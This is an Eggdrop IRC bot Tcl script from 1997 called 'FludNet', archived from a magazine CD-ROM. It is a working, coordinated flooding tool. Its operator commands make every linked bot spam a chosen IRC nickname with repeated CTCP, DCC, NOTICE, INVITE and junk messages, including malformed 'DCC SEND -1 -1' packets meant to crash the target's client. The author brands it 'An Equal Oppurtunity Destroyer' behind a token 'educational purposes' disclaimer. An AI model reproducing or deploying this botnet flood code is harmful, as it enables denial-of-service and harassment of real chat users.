PC World Interactive 6/PC World Interactive 6.iso/online/irchelp.EXE/Fludnet.tcl

Text File | 1997-04-16 | 15KB | 481 lines

############################################################################
# 7th Sphere FludNet Fer Eggdrop1.0+ Written By DrPhuck                   #
# Get Armed With 7th Sphere at Http://www.7thsphere.com                    #
# Also Check Out Da Hideout, Http://www.fifo.com/~mikec                    #
############################################################################
# This Is My First Attempt At A FloodNet So It May Have Some Bugs In It.   #
# This Is My First Version And I Tried To Include As Many Flus As Possible,#
# To Find Out How To Flood, Type ".flud" In The Dcc Session and Get Help. #
# Have Any Questions Or Comments? Email DrPhuck at [e-mail]           #
# Happy Flooding, Btw...If You Get In Any Shit, It wudden`t my phucking    #
# fault, This Is Just For Educational Purposes, So Use At Own Risk!!!      #
############################################################################

### - Ok Here's All The Binding Shit

bind dcc m verflood cmd_vflood
bind dcc m junkflood cmd_jflood
bind dcc m pingflood cmd_pflood
bind dcc m fdccflood cmd_fdflood
bind dcc m userflood cmd_uflood
bind dcc m timeflood cmd_tflood
bind dcc m clientflood cmd_cflood
bind dcc m fingerflood cmd_fflood
bind dcc m inviteflood cmd_iflood
bind dcc m noticeflood cmd_nflood
bind dcc m cjunkflood cmd_cjflood
bind dcc m fchatflood cmd_fcflood
bind dcc m chatflood cmd_chflood
bind dcc m dccflood cmd_dflood
bind dcc m echoflood cmd_eoflood
bind dcc m troutflood cmd_trtflood
bind dcc m vomitflood cmd_vmtflood
bind dcc m xdccflood cmd_xdccflood
bind dcc m flud cmd_floodhlp
bind dcc m ready cmd_ready

bind bot - vflood do_flood
bind bot - jflood do_flood
bind bot - pflood do_flood
bind bot - fdflood do_flood
bind bot - uflood do_flood
bind bot - cflood do_flood
bind bot - tflood do_flood
bind bot - fflood do_flood
bind bot - iflood do_flood
bind bot - nflood do_flood
bind bot - cjflood do_flood
bind bot - chflood do_flood
bind bot - fcflood do_flood
bind bot - dflood do_flood
bind bot - eoflood do_flood
bind bot - trtflood do_flood
bind bot - vmtflood do_flood
bind bot - xdccflood do_flood
bind bot - amiready do_am_i_ready

### - Do Not Change This Please!
set floodver "1.0"

set caniflood 1
set who ""

proc cmd_floodhlp {handle idx args} {
  putdcc $idx " 7th Sphere FloodNet Help."
  putdcc $idx " "
  putdcc $idx "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"
  putdcc $idx "FloodNet.Tcl Written by DrPhuck"
  putdcc $idx "Da HideOut Iz At, Http://www.fifo.com/~mikec"
  putdcc $idx "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"
  putdcc $idx " -=[ü Available Floods... ü]=-"
  putdcc $idx "  inviteflood - fingerflood - pingflood "
  putdcc $idx "  clientflood - cjunkflood  - fdccflood "
  putdcc $idx "  noticeflood - timeflood   - chatflood "
  putdcc $idx "  dccflood    - fchatflood  - echoflood "
  putdcc $idx "  userflood   - junkflood   - verflood  "
  putdcc $idx "  troutflood  - xdccflood   - vomitflood "
  putdcc $idx "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"
  putdcc $idx " Get Armed With 7th Sphere "
  putdcc $idx " http://www.7thsphere.com "
}

proc cmd_fversion {handle idx args} {
  putallbots "fversion {$handle}"
  done_fversion $handle
}

proc do_fversion {handle idx args} {
  set args [lindex $args 0]
  set rnick [lindex $args 0]
  done_fversion $rnick
}

proc cmd_eoflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "eoflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "eoflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_fcflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "fcflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "fcflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_chflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "chflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "chflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_dflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "dflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "dflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_cjflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "cjflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "cjflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_iflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "iflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "iflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_nflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "nflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "nflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_vflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "vflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "vflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_fdflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "fdflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "fdflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_pflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "pflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "pflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_jflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "jflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "jflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_uflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "uflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "uflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_cflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "cflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "cflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_tflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "tflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "tflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_fflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "fflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "fflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_trtflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "trtflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "trtflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_vmtflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "vmtflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "vmtflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_xdccflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  putallbots "xdccflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "xdccflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_ready {handle idx args} {
  putallbots "amiready"
  am_i_ready
}

proc do_am_i_ready {handle idx args} {
  am_i_ready
}

proc am_i_ready {} {
  global caniflood
  global who
  if {"$caniflood" == "0"} {
    dccbroadcast ""
  } elseif {"$caniflood" == "1"} {
    dccbroadcast ""
  }
}

proc do_flood {from cmd args} {
  global caniflood
  global who
  global rnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set fromnick [lindex $args 1]
  set times [lindex $args 2]
  set showflood [lindex $args 3]

if {$caniflood == "1"} {
  if {"$cmd"=="cjflood"} {
    set text "PRIVMSG $floodnick :
[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]
"
    set floodtype "CTCP JUNK FLOOD"
    }
  if {"$cmd"=="eoflood"} {
    set text "PRIVMSG $floodnick :
ECHO [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]
"
    set floodtype "CTCP ECHO FLOOD"
    }
  if {"$cmd"=="iflood"} {
    set text "INVITE $floodnick #[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
    set floodtype "INVITE JUNK FLOOD"
    }
  if {"$cmd"=="nflood"} {
    set text "NOTICE $floodnick :[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
    set floodtype "NOTICE JUNK FLOOD"
    }
  if {"$cmd"=="jflood"} {
    set text "PRIVMSG $floodnick :[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
    set floodtype "MSG JUNK FLOOD"
    }
  if {"$cmd"=="dflood"} {
    set text "PRIVMSG $floodnick :
DCC SEND [rs [expr [rand 20] + 3]] [myip] [expr [rand 5000] + 1024] [expr [rand 995000] + 5000]
"
    set floodtype "DCC SEND FLOOD"
    }
  if {"$cmd"=="chflood"} {
    set text "PRIVMSG $floodnick :
DCC CHAT chat [myip] [expr [rand 5000] + 1024]
"
    set floodtype "DCC CHAT FLOOD"
    }
  if {"$cmd"=="fdflood"} {
    set text "PRIVMSG $floodnick :
DCC SEND -1 -1
"
    set floodtype "FLUFFS SEND FLOOD"
    }
  if {"$cmd"=="fcflood"} {
    set text "PRIVMSG $floodnick :
DCC CHAT -1 -1
"
    set floodtype "FLUFFS CHAT FLOOD"
    }
  if {"$cmd"=="vflood"} {
    set text "PRIVMSG $floodnick :
VERSION
"
    set floodtype "VERSION FLOOD"
    }
  if {"$cmd"=="pflood"} {
    set text "PRIVMSG $floodnick :
PING
"
    set floodtype "PING FLOOD"
    }
  if {"$cmd"=="uflood"} {
    set text "PRIVMSG $floodnick :
userinfo
"
    set floodtype "USERINFO FLOOD"
    }
  if {"$cmd"=="cflood"} {
    set text "PRIVMSG $floodnick :
clientinfo
"
    set floodtype "CLIENTINFO FLOOD"
    }
  if {"$cmd"=="tflood"} {
    set text "PRIVMSG $floodnick :
time
"
    set floodtype "TIME FLOOD"
    }
  if {"$cmd"=="fflood"} {
    set text "PRIVMSG $floodnick :
finger
"
    set floodtype "FINGER FLOOD"
    }

  if {"$cmd"=="trtflood"} {
    set text "PRIVMSG $floodnick :
trout
"
    set floodtype "TROUT FLOOD"
    }

  if {"$cmd"=="vmtflood"} {
    set text "PRIVMSG $floodnick :
ECHO SDIUHXIDHIUDBPOURHPWEOPAOHPODHPOAHDOUIHPODHFOPUIHPFOAF__VoMiT__FLooD__SDJOIHADHPAODHOINDFPOANDUIODHPAUIOFAFPASUSGDPAUIFUGSPIDUG__VoMiT__SDFHOPDPFHUPODUIHADBUIPPFGHPISUHDPISHIPUAFUGIUSGDUIPGIUSDGPIUD__VoMiT__FLooD__ADIHPFIOIHHPUIODISHIHD
"
    set floodtype "VOMIT FLOOD"
    }


  if {"$cmd"=="xdccflood"} {
    set text "PRIVMSG $floodnick :
XDCC LIST
"
    set floodtype "XDCC FLOOD"
    }

  if {$times > "20"} {
    set times 20
    }
  if {$times == ""} {
    set times 8
    }
  if {$times < "1"} {
    set times 1
    }

  set who "$floodnick"

  for {set i 0} {$i<$times} {incr i} {
    putserv "$text"
    }
}
  set caniflood 1
  set type ""
  set who ""
}

proc rs {chars} {
  for {set j 0} {$j<$chars} {incr j} {
    append rs [string index abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 [rand 62]]
  }
  return $rs
}
putlog "7th Sphere FludNet v$floodver By DrPhuck Loaded Successfully!"
putlog "An Equal Oppurtunity Destroyer!"
dccbroadcast "Get 7th Sphere @ http://www.7thsphere.com"